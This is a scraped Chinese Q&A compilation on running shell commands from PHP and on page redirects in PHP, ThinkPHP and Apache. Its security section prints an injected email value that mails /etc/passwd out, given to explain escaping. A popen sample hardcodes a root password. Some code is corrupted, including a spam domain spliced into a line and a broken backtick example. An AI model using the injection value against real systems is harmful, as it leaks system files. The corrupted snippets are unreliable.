‘壹’ php运行EXEC文件
在PHP中调用外部命令,可以用如下三种方法来实现:
1) 用PHP提供的专门函数
PHP提供共了3个专门的执行外部命令的函数:system(),exec(),passthru()。
system()
原型:string
system (string command [, int return_var])
system()函数很其它语言中的差不多,它执行给定的命令,输出和返回结果。第二个参数是可选的,用来得到命令执行后的状态码。
例子:
复制代码
代码如下:
<?php
system("/usr/local/bin/webalizer/webalizer");
?>
exec()
原型:string exec (string command [, string array [, int return_var]])
exec
()函数与system()类似,也执行给定的命令,但不输出结果,而是返回结果的最后一行。虽然它只返回命令结果的最后一行,但用第二个参数array
可以得到完整的结果,方法是把结果逐行追加到array的结尾处。所以如果array不是空的,在调用之前最好用unset()最它清掉。只有指定了第二
个参数时,才可以用第三个参数,用来取得命令执行的状态码。
例子:
复制代码
代码如下:
<?php
exec("/bin/ls -l");
exec("/bin/ls -l", $res);
exec("/bin/ls -l", $res, $rc);
?>
passthru()
原型:void passthru (string command [, int
return_var])
passthru
()只调用命令,不返回任何结果,但把命令的运行结果原样地直接输出到标准输出设备上。所以passthru()函数经常用来调用象pbmplus
(Unix下的一个处理图片的工具,输出二进制的原始图片的流)这样的程序。同样它也可以得到命令执行的状态码。
例子:
复制代码
代码如下:
<?php
header("Content-type:
image/gif");
passthru("./ppmtogif hunte.ppm");
?>
2)
用popen()函数打开进程
上面的方法只能简单地执行命令,却不能与命令交互。但有些时候必须向命令输入一些东西,如在增加Linux的系统用户时,要调用su来把当前用户换到root才行,而su命令必须要在命令行上输入root的密码。这种情况下,用上面提到的方法显然是不行的。
popen
()函数打开一个进程管道来执行给定的命令,返回一个文件句柄。既然返回的是一个文件句柄,那么就可以对它读和写了。在PHP3中,对这种句柄只能做单一
的操作模式,要么写,要么读;从PHP4开始,可以同时读和写了。除非这个句柄是以一种模式(读或写)打开的,否则必须调用pclose()函数来关闭 它。
例子1:
复制代码
代码如下:
<?php
$fp=popen("/bin/ls -l", "r");
?>
例子2:
复制代码
代码如下:
<?php
/* PHP中如何增加一个系统用户
下面是一段例程,增加一个名字为james的用户,
root密码是 verygood。仅供参考
*/
$sucommand =
"su --login root --command";
$useradd = "useradd ";
$rootpasswd =
"verygood";
$user = "james";
$user_add = sprintf("%s "%s
%s"",$sucommand,$useradd,$user);
$fp = @popen($user_add,"w");
@fputs($fp,$rootpasswd);
@pclose($fp);
?>
3)
用反撇号(`,也就是键盘上ESC键下面的那个,和~在同一个上面)
这个方法以前没有归入PHP的文档,是作为一个秘技存在的。方法很简单,用两个反撇号把要执行的命令括起来作为一个表达式,这个表达式的值就是命令执行的结果。如:
复制代码
代码如下:
<?php
$res='/bin/ls -l';
echo '
'.$res.'
';
?>
这个脚本的输出就象:
hunte.gif
hunte.ppm
jpg.htm
jpg.jpg
passthru.php
要考虑些什么?
要考虑两个问题:安全性和超时。
先
看安全性。比如,你有一家小型的网上商店,所以可以出售的产品列表放在一个文件中。你编写了一个有表单的HTML文件,让你的用户输入他们的EMAIL地
址,然后把这个产品列表发给他们。假设你没有使用PHP的mail()函数(或者从未听说过),你就调用Linux/Unix系统的mail程序来发送这
个文件。程序就象这样:
复制代码
代码如下:
<?php
system("mail $to <
procts.txt");
echo "我们的产品目录已经发送到你的信箱:$to";
?>
用这段代码,一般的用户不会产生什么危险,但实际上存在着非常大的安全漏洞。如果有个恶意的用户输入了这样一个EMAIL地址:
'--bla ; mail [email protected] < /etc/passwd ;'
那么这条命令最终变成:
'mail --bla ; mail [email protected] < /etc/passwd ; < procts.txt'
我相信,无论哪个网络管理人员见到这样的命令,都会吓出一身冷汗来。
幸
好,PHP为我们提供了两个函数:EscapeShellCmd()和EscapeShellArg()。函数EscapeShellCmd把一个字符串
中所有可能瞒过Shell而去执行另外一个命令的字符转义。这些字符在Shell中是有特殊含义的,象分号(),重定向(>)和从文件读入
(<)等。函数EscapeShellArg是用来处理命令的参数的。它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串
就可以安全地作为命令的参数。
再来看看超时问题。如果要执行的命令要花费很长的时间,那么应该把这个命令放到系统的后台去运
行。但在默认情况下,象system()等函数要等到这个命令运行完才返回(实际上是要等命令的输出结果),这肯定会引起PHP脚本的超时。解决的办法是
把命令的输出重定向到另外一个文件或流中,如:
复制代码
代码如下:
<?php
system("/usr/local/bin/order_proc > /tmp/null &");
?>
‘贰’ php 函数重定向 Warning: Cannot modify header information - headers already sent by (output
检查以下两个方面:
一、在文件的第一个<?php之前不得有任何内容,包括空白、空行
二、在header('Location:news_list.php?message=$message');语句之前不得有任何的echo或者其它输出内容的语句
满足以上两点的情况下,就不会报告你这个错误。
‘叁’ 求PHP APACHE 重定向的写法
先确保apache已经开启了mod_rewrite,然后修改根目录下的.htaccess文件:
(留意QUERY_STRING用法)
RewriteEngineOn
Options+FollowSymlinks
RewriteCond%{QUERY_STRING}^keyword=(.*)&p=(d*)$
RewriteRule^search$search.php?keyword=$1&p=$2[L]
‘肆’ ThinkPHP redirect 循环重定向是什么原因
一般出现循环重定向的原因就是权限判断出问题了
详细点就是你的extends的文件作权限判断了,然后controller也做了权限判断,而且两个判断之间是彼此跳转的,所以才会出现上述问题,你检查下吧
‘伍’ php网站建设怎么做301重定向设置
做网站优化,我们基本知道url标准化需要采用301重定向。重定向说直白点,就是通过方法将各种网络请求重新定个方向转到其它位置,也就是通常说的,网页跳转。那么如何设置和制作301重定向呢?下面列举几个比较常见的情况:
步骤/方法
第一种:对整个网站的多个页面设置301重定向方法
如果要对整个网站设置301重定向的话,建议大家还是单独建立一个301.php,文件名可以自己取。代码如下:
<?php
$the_host = $_SERVER['HTTP_HOST']; //取得进入所输入的域名[网址:像www.siyuan-seo.com]
$the_url = isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : ''; //判断地址后面部分
$the_url = strtolower($the_url); //将英文字母转成小写
if($the_url=="/index.php") //判断是不是首页
{
$the_url=""; //如果是首页,赋值为空
}
if($the_host !== 'www.icoa.cn')//如果域名不是带www的网址那么进行下面的301跳转
{
header('HTTP/1.1 301 Moved Permanently'); //发出301头部
header('Location:http://www.siyuan-seo.com'.$the_url); //跳转到带www的网址
}
?>
注 意一下:代码if($the_host !== 'www.siyuan-seo.com')中的“!==”是不完全等于的意思,也可以用“!=”不等于,这样,除了可以将siyuan-seo.com 跳转到带www的网址,还可以把所有绑定到这个空间的域名跳转的www.siyuan-seo.com。
301.php文件写好后,用ftp软件上传到网站根目录下,一般就是web文件下。那么怎么调用呢?其实也很简单。
在需要设置301重定向的页面中调用301.php,代码:<?php include("301.php"); //301重定向 ?>将这个代码放到你所有网页的最前面,这样就做好了。如下图:
当你发现自己的才华撑不起野心时,就请安静下来学习吧
‘陆’ thinkphp内核程序,无法重定向
ThinkPHP redirect 方法
ThinkPHP redirect 方法可以实现页面的重定向(跳转)功能。redirect 方法语法如下:
$this->redirect(string url, array params, int delay, string msg)
参数说明:
参数
说明
url 必须,重定向的 URL 表达式。
params 可选,其它URL参数。
delay 可选, 重定向延时,单位为秒。
msg 可选,重定向提示信息。
ThinkPHP redirect 实例
在 Index 模块 index 方法中,重定向到本模块的 select 操作:
class IndexAction extends Action{
public function index(){
$this->redirect('select', array('status'=>1), 3, '页面跳转中~');
}
}
重定向后得到的 URL 可能为ex.php/Index/select/status/1
由于该方法调用了 U 函数来生成实际的 URL 重定向地址,因此重定向后的 URL 可能因配置不同而有所不同:
隐藏了入口文件 index.php 的
5idev.com/Index/select/status/1
隐藏了入口文件 index.php 且设置了伪静态的
hom/Index/select/status/1.html
一些常用的 redirect 重定向例子:
// 不延时,直接重定向
$this->redirect('select', array('status'=>1));
// 延时跳转,但不带参数,输出默认提示
$thi www.hbbz08.com s->redirect('select', '', 3);
// 重定向到其他模块操作
$this->redirect('Public/login');
// 重定向到其他分组
$this->redirect('Admin-Public/login');
提示: 1.当延时跳转时,必须输入 params 参数(可以为空),也就是 delay 必须出现在第 3 位上。
2.如果发现跳转后的 URL 有问题,由于 redirect 方法调用 U 方法来生成跳转后的地址,这时候可以测试一下 U 方法生成的地址是否正确,再检查一下系统配置。
3.如果不想使用 U 方法生成跳转地址,可以直接使用 PHP header 函数或 $this->redirect 的原型函数 redirect(string url, int delay, string msg),注意该 url 是个绝对地址,具体参见 PHP header 函数。
redirect 重定向与 success/error 跳转的区别
•redirect 是使用的 PHP header 重定向,而 success/error 是使用的 html meta http-equiv='Refresh' 属性跳转。
•redirect 无模板页面,输出的提示信息是直接在函数内 echo 输出的,而 success/error 有对应的模板。
•redirect 与 success/error 都可以实现页面的跳转,只是 redirect 可以无延时重定向,具体采用哪种视具体情况而定。
‘柒’ Thinkphp中 重定向redirect,和跳转success,error的区别
我们通过两个流程来看一下它们之间的区别。
Redirect
1. 用户浏览器向 发送 GET 请求。
2. JSF收到请求,返回 start.xhtml 页面。
3. 用户点击页面中的按钮。
4. JSF收到请求, 向浏览器发送 Redirect 指令 (3XX的HTTP状态值)。
5. 浏览器收到指令, 发送另一个 GET 到 。
6.JSF返回page1.xhtml。
7. 浏览器显示page1.xhtml。这时地址栏里显示的是page1.xhtml。
Forward
1. 用户浏览器向 发送 GET 请求。
2. JSF收到请求,返回 start.xhtml 页面。
3. 用户点击页面中的按钮。
4. JSF收到请求, 直接渲染page1.xhtml页面并返回给浏览器 。
5. 浏览器显示 page1.xhtml。这时候地址栏里显示的还是start.xhtml
由此可看出,重定向要比跳转多发送一个请求,所以相对要慢一些。JSF默认全部采用 Forward的方式跳转页面。如果想要重定向页面,可以在导航中添加 <redirect />,或者在 h:commandButton的action属性后添加 "faces-redirect=true":
‘捌’ php使用curl访问的页面中,出现重定向时, 如何获取重定向后的内容
程序没问题,能得到网页内容并输出。
有可能是你的 xxx.php 没有重定向成功。
如果在Linux下,可以先用
wget http://www.xxx.com/xxx.php
看看有没有输出想要的结果。
我用来测试的 xxx.php
<?php
function redirect($url)
{
if(headers_sent()) {
return false;
}
if(substr($url, 0, 4) != 'http') {
$schema = $_SERVER['SERVER_PORT'] == '443' ? 'https' : 'http';
$host = strlen($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
$url = "$schema://$host$to";
}
header("HTTP/1.1 301 Moved Permanently");
header("Location: $url");
exit();
}
redirect('http://google.com/');
‘玖’ PHP如何使404页面重定向
最近在改一些东西,包括Discuz论坛,在处理Discuzde修改时特别是重新写了一个404de页面,让用户访问不存在de页面时去访问这个404页面。但是遇到了一个很奇怪de问题,即无法重定向到这个页面。
最初操作:
1、把apache中de配置文件里 加入代码:ErrorDocument 404 /404.php
2、在404页面de代码里加上<?php header(”HTTP/1.0 404 Not Found” ?> 。这个方法是向客户端发送一个自然deHTTP头。这个方法要在没you向客户端发送任何信息之前使用,因此加在404.phpde文件头最好。
经过对配置文件和DZ论坛代码de查看,发现原因:rewrite规则问题,即我做伪静态de处理,导致第二种地址规则you效,于是已经pass过了服务器层,apachede404定义不再起作用,所以在读取数据dephp文件会被执行。针对这种情况应该做处理。
处理:
1、找到被执行de文件:如viewthread.php;
2、在查询数据后,加上对数据de判断,如果为空,则填写重定向代码;
3、代码:
if(如果没you任何结果)
{
//以前是仅仅显示“该帖子已经不存在”de提示,现在是:
require(’/404.php’);
@header(’HTTP/1.1 404 Not Found’);
@header(’Status: 404 Not Found’);
exit;
}
结果:以上问题解决,可以以404de状态重定向到我自定义de404页面。
‘拾’ php 页面重定向有什么用呢,有什么好处
页面重定向可能达到两个不同的地址可以访问到相同的结果,这个功能主要是用在 SEO 和程序里的权限控制方面。
比如你原来有个网站,搜索引擎已经收录了,然后你改版了, URL 和原来的不一样了,那么你就要去添加重定向规则,让原来的 URL 能正常的转到新的 URL 上,否则搜索引擎里收录的结果都不能用了